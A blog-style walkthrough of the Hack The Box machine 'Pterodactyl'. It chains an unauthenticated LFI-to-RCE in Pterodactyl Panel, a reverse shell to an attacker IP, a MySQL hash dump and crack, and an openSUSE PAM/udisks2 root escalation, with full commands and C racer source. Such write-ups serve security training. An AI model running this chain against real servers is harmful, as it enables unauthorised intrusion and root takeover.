Peter Rakolcza Get in touch
← back to archive
// technical_debrief Medium

Pterodactyl

Pterodactyl is a medium-difficulty Linux box running the Pterodactyl game-server panel on openSUSE.

platform
Hack The Box
target_os
Linux (openSUSE Leap 15.6)
difficulty
Medium
season
Season 10
logged
June 18, 2026
exploit_vectors → Web enumerationCVE-2025-49132MySQL credential dumpCVE-2025-6018 (PAM session spoofing)

Summary of Exploitation

Pterodactyl is a medium-difficulty Linux box running the Pterodactyl game-server panel on openSUSE. An unauthenticated LFI in the panel is escalated to RCE via pearcmd, panel credentials are looted from MySQL and cracked, and root is reached through a two-CVE openSUSE local-privilege-escalation chain. The chain proceeds as follows:

  1. Web enumeration identifies Pterodactyl Panel v1.11.10 and a permissive phpinfo.php (register_argc_argv=On, PEAR in include_path).
  2. CVE-2025-49132 — the unauthenticated /locales/locale.json endpoint passes locale/namespace into include(), enabling directory traversal and pearcmd RCE as wwwrun.
  3. MySQL credential dump — panel DB creds yield bcrypt user hashes; phileasfogg3 is cracked.
  4. CVE-2025-6018 (PAM session spoofing) — ~/.pam_environment tricks Polkit into treating the SSH session as a local allow_active console.
  5. CVE-2025-6019 (udisks2 XFS resize race) — racing a SUID binary inside a temporarily mounted XFS image during a Filesystem.Resize call returns a root shell.

Recon Phase

An initial Nmap scan was run against the target:

nmap -sSCV -A --min-rate 4000 <target-ip>

Results:

Port State Service Version / Note
22 open ssh OpenSSH 9.6p1
80 open http nginx 1.21.5 → pterodactyl.htb

The host and its subdomains were added to /etc/hosts:

echo "<target-ip> pterodactyl.htb panel.pterodactyl.htb play.pterodactyl.htb" | sudo tee -a /etc/hosts

Web Enumeration

dirsearch -u http://pterodactyl.htb/ -t 40
curl -s http://pterodactyl.htb/changelog.txt

Key findings from changelog.txt:

  • Site: MonitorLand
  • Panel version: Pterodactyl Panel v1.11.10 (vulnerable)
  • PHP-PEAR enabled
  • Subdomain: panel.pterodactyl.htb

The phpinfo.php exposure confirmed the conditions required for pearcmd exploitation:

curl -s "http://pterodactyl.htb/phpinfo.php" | grep -E "register_argc|include_path|open_basedir|upload_tmp_dir"
Setting Value Significance
register_argc_argv On Enables pearcmd CLI exploitation
include_path .:/usr/share/php8:/usr/share/php/PEAR pearcmd.php reachable
open_basedir (no value) Unrestricted filesystem access

Exploitation Phase

Step 1 — CVE-2025-49132: unauthenticated LFI → pearcmd RCE

CVE-2025-49132 affects Pterodactyl Panel ≤ v1.11.10. The /locales/locale.json endpoint passes the locale and namespace parameters straight into PHP’s include() without sanitisation or authentication — directory traversal into the reachable pearcmd.php gives RCE.

git clone https://github.com/YoyoChaud/CVE-2025-49132
cd CVE-2025-49132

# Dump config (DB creds + APP_KEY)
python3 exploit.py http://panel.pterodactyl.htb

# Test RCE
python3 exploit.py http://panel.pterodactyl.htb \
  --rce-cmd "id" \
  --pear-dir /usr/share/php/PEAR

Output: uid=474(wwwrun) gid=477(www) groups=477(www)

Credentials recovered from the dumped config:

Service Username Secret
MySQL pterodactyl PteraPanel
Laravel APP_KEY base64:UaThTPQnUjrrK61o+...

A reverse shell was then triggered through the same RCE primitive:

# Listener
nc -lnvp 4444

# Exploit
python3 exploit.py http://panel.pterodactyl.htb \
  --rce-cmd "bash -c 'bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1'" \
  --pear-dir /usr/share/php/PEAR

Step 2 — MySQL credential dump → bcrypt crack → SSH

With the panel DB creds, the users table yields bcrypt hashes:

mysql -u pterodactyl -pPteraPanel -h 127.0.0.1 \
  -e "USE panel; SELECT username,email,password FROM users;"
Username Hash
headmonitor $2y$10$3WJht3/5GOQmOXdljPbAJet...
phileasfogg3 $2y$10$PwO0TBZA8hLB6nuSsxRqoO...
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt -w 3

Result: phileasfogg3 : !QAZ2wsx

The cracked password reuses for SSH:

ssh phileasfogg3@<target-ip>
# password: !QAZ2wsx

User flag:

cat /home/phileasfogg3/user.txt

Sudo note. sudo -l shows (ALL) ALL, but the targetpw Defaults option requires root’s password — blocking the obvious sudo path and forcing the CVE chain below.

Step 3 — CVE-2025-6018: PAM session spoofing → allow_active

CVE-2025-6018 abuses pam_env.so on openSUSE to inject environment variables at login. Placing XDG_SEAT=seat0 and XDG_VTNR=1 in ~/.pam_environment makes Polkit treat the remote SSH session as an active local console session (allow_active), unlocking hardware-management D-Bus actions:

echo -e "XDG_SEAT=seat0\nXDG_VTNR=1" > ~/.pam_environment

# Exit and SSH back in (PAM re-reads on a fresh login)
exit
ssh phileasfogg3@<target-ip>

# Verify
echo $XDG_SEAT   # seat0
echo $XDG_VTNR   # 1

Step 4 — CVE-2025-6019: udisks2 XFS resize race → root

CVE-2025-6019 exploits a missing nosuid flag in libblockdev: when udisks2 temporarily mounts an XFS image during a Filesystem.Resize D-Bus call, an allow_active user can race to execute a SUID binary planted inside the image.

Build the XFS image and plant a SUID payload:

# Create the image on the target for filesystem compatibility
ssh phileasfogg3@<target-ip>
dd if=/dev/zero of=/tmp/xfs_new.img bs=1M count=300
/sbin/mkfs.xfs -f /tmp/xfs_new.img
# On the attacker (as root): mount, inject SUID binary, repackage
scp phileasfogg3@<target-ip>:/tmp/xfs_new.img /tmp/xfs_new.img
mount -o loop,suid /tmp/xfs_new.img /tmp/mnt
cp rootbash /tmp/mnt/xpl
chmod 4755 /tmp/mnt/xpl      # must show -rwsr-xr-x
umount /tmp/mnt
gzip -c /tmp/xfs_new.img > xfs_new.img.gz

Compile a fast C racer that watches udisks2’s temporary mount and runs the SUID payload the instant it appears:

// racer.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dirent.h>
#include <unistd.h>
#include <sys/stat.h>

int main() {
    char path[512], cmd[512];
    struct stat st;
    while(1) {
        DIR *d = opendir("/tmp");
        struct dirent *e;
        while((e = readdir(d))) {
            if(strncmp(e->d_name, "blockdev.", 9) == 0) {
                snprintf(path, sizeof(path), "/tmp/%s/xpl", e->d_name);
                if(stat(path, &st) == 0 && (st.st_mode & S_ISUID)) {
                    closedir(d);
                    snprintf(cmd, sizeof(cmd),
                        "%s -p -c 'cp /bin/bash /tmp/b; chmod 4755 /tmp/b'", path);
                    system(cmd);
                    return 0;
                }
            }
        }
        closedir(d);
    }
}
gcc -O2 -o racer racer.c

Run the race — set up the loop device, start the racer, then hammer Filesystem.Resize:

# On target
wget http://<attacker-ip>/xfs_new.img.gz && gunzip xfs_new.img.gz
wget http://<attacker-ip>/racer && chmod +x racer

udisksctl loop-setup -f /tmp/xfs_new.img --no-user-interaction
# Note the loop device number (e.g. loop7)

rm -rf /tmp/blockdev.* 2>/dev/null
/tmp/racer &

for i in $(seq 1 300); do
  gdbus call --system \
    --dest org.freedesktop.UDisks2 \
    --object-path /org/freedesktop/UDisks2/block_devices/loop7 \
    --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}' 2>/dev/null &
done
wait

Root Flag Successfully Obtained

id
# uid=0(root)

cat /root/root.txt

Key Takeaways

  • changelog.txt + phpinfo.php hand you the exploit. Version disclosure pinpointed CVE-2025-49132, and register_argc_argv=On with PEAR in include_path confirmed the pearcmd LFI-to-RCE preconditions.
  • Panels keep their secrets in the DB. Dumping the Pterodactyl MySQL users table gave crackable bcrypt hashes and a password that reused for SSH.
  • targetpw is not a free pass. A (ALL) ALL sudoers line is useless when Defaults targetpw demands root’s password — recognise it and pivot to kernel/daemon CVEs.
  • allow_active is the keystone of the 2025 openSUSE chain. CVE-2025-6018 fakes a local console session so CVE-2025-6019’s udisks2 SUID race becomes reachable; chaining the two beats the missing nosuid flag.

Full Attack Chain

[Nmap] ports 22, 80
   └─ changelog.txt → Pterodactyl Panel v1.11.10 ; phpinfo.php → pearcmd preconditions
        └─ CVE-2025-49132 unauth LFI  ──>  pearcmd RCE  ──>  wwwrun shell
             └─ MySQL pterodactyl:PteraPanel  ──>  bcrypt hashes  ──>  phileasfogg3:!QAZ2wsx
                  └─ SSH as phileasfogg3   [USER]
                       └─ CVE-2025-6018 ~/.pam_environment  ──>  allow_active
                            └─ CVE-2025-6019 udisks2 XFS resize race  ──>  SUID exec  ──>  root   [ROOT]